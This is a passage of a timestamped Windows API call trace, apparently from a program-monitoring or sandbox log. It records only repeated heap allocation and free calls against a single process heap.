(HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.239] GetProcessHeap () returned 0x540000 [0063.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.239] GetProcessHeap () returned 0x540000 [0063.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.239] GetProcessHeap () returned 0x540000 [0063.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.239] GetProcessHeap () returned 0x540000 [0063.239] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.239] GetProcessHeap () returned 0x540000 [0063.239] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.239] GetProcessHeap () returned 0x540000 [0063.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.240] GetProcessHeap () returned 0x540000 [0063.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.240] GetProcessHeap () returned 0x540000 [0063.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.240] GetProcessHeap () returned 0x540000 [0063.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.240] GetProcessHeap () returned 0x540000 [0063.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.240] GetProcessHeap () returned 0x540000 [0063.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.240] GetProcessHeap () returned 0x540000 [0063.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.240] GetProcessHeap () returned 0x540000 [0063.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.240] GetProcessHeap () returned 0x540000 [0063.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.240] GetProcessHeap () returned 0x540000 [0063.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.240] GetProcessHeap () returned 0x540000 [0063.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.240] GetProcessHeap () returned 0x540000 [0063.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.240] GetProcessHeap () returned 0x540000 [0063.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.240] GetProcessHeap () returned 0x540000 [0063.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.240] GetProcessHeap () returned 0x540000 [0063.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.240] GetProcessHeap () returned 0x540000 [0063.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.240] GetProcessHeap () returned 0x540000 [0063.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.240] GetProcessHeap () returned 0x540000 [0063.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.240] GetProcessHeap () returned 0x540000 [0063.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.240] GetProcessHeap () returned 0x540000 [0063.240] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.240] GetProcessHeap () returned 0x540000 [0063.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.241] GetProcessHeap () returned 0x540000 [0063.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.241] GetProcessHeap () returned 0x540000 [0063.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.241] GetProcessHeap () returned 0x540000 [0063.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.241] GetProcessHeap () returned 0x540000 [0063.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.241] GetProcessHeap () returned 0x540000 [0063.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.241] GetProcessHeap () returned 0x540000 [0063.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.241] GetProcessHeap () returned 0x540000 [0063.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.241] GetProcessHeap () returned 0x540000 [0063.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.241] GetProcessHeap () returned 0x540000 [0063.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.241] GetProcessHeap () returned 0x540000 [0063.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.241] GetProcessHeap () returned 0x540000 [0063.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.241] GetProcessHeap () returned 0x540000 [0063.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.241] GetProcessHeap () returned 0x540000 [0063.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.241] GetProcessHeap () returned 0x540000 [0063.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.241] GetProcessHeap () returned 0x540000 [0063.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.241] GetProcessHeap () returned 0x540000 [0063.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.241] GetProcessHeap () returned 0x540000 [0063.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.241] GetProcessHeap () returned 0x540000 [0063.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.241] GetProcessHeap () returned 0x540000 [0063.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.241] GetProcessHeap () returned 0x540000 [0063.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.242] GetProcessHeap () returned 0x540000 [0063.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.242] GetProcessHeap () returned 0x540000 [0063.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.242] GetProcessHeap () returned 0x540000 [0063.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.242] GetProcessHeap () returned 0x540000 [0063.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.242] GetProcessHeap () returned 0x540000 [0063.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.242] GetProcessHeap () returned 0x540000 [0063.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.242] GetProcessHeap () returned 0x540000 [0063.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.242] GetProcessHeap () returned 0x540000 [0063.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.242] GetProcessHeap () returned 0x540000 [0063.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.242] GetProcessHeap () returned 0x540000 [0063.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.242] GetProcessHeap () returned 0x540000 [0063.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.242] GetProcessHeap () returned 0x540000 [0063.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.242] GetProcessHeap () returned 0x540000 [0063.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.242] GetProcessHeap () returned 0x540000 [0063.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.242] GetProcessHeap () returned 0x540000 [0063.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.242] GetProcessHeap () returned 0x540000 [0063.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.242] GetProcessHeap () returned 0x540000 [0063.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.242] GetProcessHeap () returned 0x540000 [0063.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.242] GetProcessHeap () returned 0x540000 [0063.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.242] GetProcessHeap () returned 0x540000 [0063.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.243] GetProcessHeap () returned 0x540000 [0063.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.243] GetProcessHeap () returned 0x540000 [0063.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.243] GetProcessHeap () returned 0x540000 [0063.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.243] GetProcessHeap () returned 0x540000 [0063.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.243] GetProcessHeap () returned 0x540000 [0063.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.243] GetProcessHeap () returned 0x540000 [0063.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.243] GetProcessHeap () returned 0x540000 [0063.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.243] GetProcessHeap () returned 0x540000 [0063.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.243] GetProcessHeap () returned 0x540000 [0063.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.243] GetProcessHeap () returned 0x540000 [0063.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.243] GetProcessHeap () returned 0x540000 [0063.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.243] GetProcessHeap () returned 0x540000 [0063.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.243] GetProcessHeap () returned 0x540000 [0063.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.243] GetProcessHeap () returned 0x540000 [0063.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.243] GetProcessHeap () returned 0x540000 [0063.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.243] GetProcessHeap () returned 0x540000 [0063.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.243] GetProcessHeap () returned 0x540000 [0063.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.243] GetProcessHeap () returned 0x540000 [0063.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.243] GetProcessHeap () returned 0x540000 [0063.243] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.243] GetProcessHeap () returned 0x540000 [0063.243] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.244] GetProcessHeap () returned 0x540000 [0063.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.244] GetProcessHeap () returned 0x540000 [0063.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.244] GetProcessHeap () returned 0x540000 [0063.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.244] GetProcessHeap () returned 0x540000 [0063.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.244] GetProcessHeap () returned 0x540000 [0063.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.244] GetProcessHeap () returned 0x540000 [0063.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.244] GetProcessHeap () returned 0x540000 [0063.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.244] GetProcessHeap () returned 0x540000 [0063.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.244] GetProcessHeap () returned 0x540000 [0063.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.244] GetProcessHeap () returned 0x540000 [0063.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.244] GetProcessHeap () returned 0x540000 [0063.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.244] GetProcessHeap () returned 0x540000 [0063.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.244] GetProcessHeap () returned 0x540000 [0063.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.244] GetProcessHeap () returned 0x540000 [0063.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.244] GetProcessHeap () returned 0x540000 [0063.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.244] GetProcessHeap () returned 0x540000 [0063.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.244] GetProcessHeap () returned 0x540000 [0063.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.244] GetProcessHeap () returned 0x540000 [0063.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.244] GetProcessHeap () returned 0x540000 [0063.244] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.244] GetProcessHeap () returned 0x540000 [0063.244] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.245] GetProcessHeap () returned 0x540000 [0063.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.245] GetProcessHeap () returned 0x540000 [0063.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.245] GetProcessHeap () returned 0x540000 [0063.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.245] GetProcessHeap () returned 0x540000 [0063.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.245] GetProcessHeap () returned 0x540000 [0063.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.245] GetProcessHeap () returned 0x540000 [0063.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1cc8 [0063.245] GetProcessHeap () returned 0x540000 [0063.245] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.245] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x32646b8, Size=0x84) returned 0x5ad850 [0063.245] GetProcessHeap () returned 0x540000 [0063.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x32646b8 [0063.245] GetProcessHeap () returned 0x540000 [0063.245] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x32646c8 [0063.246] GetProcessHeap () returned 0x540000 [0063.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x32646d8 [0063.246] GetProcessHeap () returned 0x540000 [0063.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32646c8 | out: hHeap=0x540000) returned 1 [0063.246] GetProcessHeap () returned 0x540000 [0063.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x32646c8 [0063.246] GetProcessHeap () returned 0x540000 [0063.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32646d8 | out: hHeap=0x540000) returned 1 [0063.246] GetProcessHeap () returned 0x540000 [0063.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x32646d8 [0063.246] GetProcessHeap () returned 0x540000 [0063.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32646c8 | out: hHeap=0x540000) returned 1 [0063.246] GetProcessHeap () returned 0x540000 [0063.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x32646c8 [0063.246] GetProcessHeap () returned 0x540000 [0063.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32646d8 | out: hHeap=0x540000) returned 1 [0063.246] GetProcessHeap () returned 0x540000 [0063.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x32646d8 [0063.246] GetProcessHeap () returned 0x540000 [0063.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32646c8 | out: hHeap=0x540000) returned 1 [0063.246] GetProcessHeap () returned 0x540000 [0063.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x32646c8 [0063.246] GetProcessHeap () returned 0x540000 [0063.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32646d8 | out: hHeap=0x540000) returned 1 [0063.246] GetProcessHeap () returned 0x540000 [0063.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x32646d8 [0063.246] GetProcessHeap () returned 0x540000 [0063.246] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32646c8 | out: hHeap=0x540000) returned 1 [0063.246] GetProcessHeap () returned 0x540000 [0063.246] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x32646c8 [0063.247] GetProcessHeap () returned 0x540000 [0063.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32646d8 | out: hHeap=0x540000) returned 1 [0063.247] GetProcessHeap () returned 0x540000 [0063.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x32646d8 [0063.247] GetProcessHeap () returned 0x540000 [0063.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32646c8 | out: hHeap=0x540000) returned 1 [0063.247] GetProcessHeap () returned 0x540000 [0063.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x32646c8 [0063.247] GetProcessHeap () returned 0x540000 [0063.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32646d8 | out: hHeap=0x540000) returned 1 [0063.247] GetProcessHeap () returned 0x540000 [0063.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x32c3818 [0063.247] GetProcessHeap () returned 0x540000 [0063.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32646c8 | out: hHeap=0x540000) returned 1 [0063.247] GetProcessHeap () returned 0x540000 [0063.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x32bfb20 [0063.247] GetProcessHeap () returned 0x540000 [0063.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32c3818 | out: hHeap=0x540000) returned 1 [0063.247] GetProcessHeap () returned 0x540000 [0063.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x32e9610 [0063.247] GetProcessHeap () returned 0x540000 [0063.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32bfb20 | out: hHeap=0x540000) returned 1 [0063.247] GetProcessHeap () returned 0x540000 [0063.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x32c9e00 [0063.247] GetProcessHeap () returned 0x540000 [0063.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32e9610 | out: hHeap=0x540000) returned 1 [0063.247] GetProcessHeap () returned 0x540000 [0063.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x32c9e90 [0063.247] GetProcessHeap () returned 0x540000 [0063.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32c9e00 | out: hHeap=0x540000) returned 1 [0063.247] GetProcessHeap () returned 0x540000 [0063.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x78) returned 0x5b4cc8 [0063.247] GetProcessHeap () returned 0x540000 [0063.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32c9e90 | out: hHeap=0x540000) returned 1 [0063.247] GetProcessHeap () returned 0x540000 [0063.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x7c) returned 0x5a1cc8 [0063.247] GetProcessHeap () returned 0x540000 [0063.247] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5b4cc8 | out: hHeap=0x540000) returned 1 [0063.247] GetProcessHeap () returned 0x540000 [0063.247] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x571240 [0063.248] GetProcessHeap () returned 0x540000 [0063.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1cc8 | out: hHeap=0x540000) returned 1 [0063.248] GetProcessHeap () returned 0x540000 [0063.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf0) returned 0x574ec8 [0063.248] GetProcessHeap () returned 0x540000 [0063.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.248] GetProcessHeap () returned 0x540000 [0063.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.248] GetProcessHeap () returned 0x540000 [0063.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.248] GetProcessHeap () returned 0x540000 [0063.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.248] GetProcessHeap () returned 0x540000 [0063.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.248] GetProcessHeap () returned 0x540000 [0063.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.248] GetProcessHeap () returned 0x540000 [0063.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.248] GetProcessHeap () returned 0x540000 [0063.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.248] GetProcessHeap () returned 0x540000 [0063.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.248] GetProcessHeap () returned 0x540000 [0063.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.248] GetProcessHeap () returned 0x540000 [0063.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.248] GetProcessHeap () returned 0x540000 [0063.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.248] GetProcessHeap () returned 0x540000 [0063.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.248] GetProcessHeap () returned 0x540000 [0063.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.248] GetProcessHeap () returned 0x540000 [0063.248] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.248] GetProcessHeap () returned 0x540000 [0063.248] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.249] GetProcessHeap () returned 0x540000 [0063.249] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.249] GetProcessHeap () returned 0x540000 [0063.249] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.249] GetProcessHeap () returned 0x540000 [0063.249] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.249] GetProcessHeap () returned 0x540000 [0063.249] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.249] GetProcessHeap () returned 0x540000 [0063.249] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 [0063.249] GetProcessHeap () returned 0x540000 [0063.249] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x574ec8 [0063.250] GetProcessHeap () returned 0x540000 [0063.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x571240 | out: hHeap=0x540000) returned 1 [0063.250] GetProcessHeap () returned 0x540000 [0063.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bd38 [0063.250] GetProcessHeap () returned 0x540000 [0063.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x574ec8 | out: hHeap=0x540000) returned 1 [0063.250] GetProcessHeap () returned 0x540000 [0063.250] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x571240 [0063.250] GetProcessHeap () returned 0x540000 [0063.250] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bd38 | out: hHeap=0x540000) returned 1 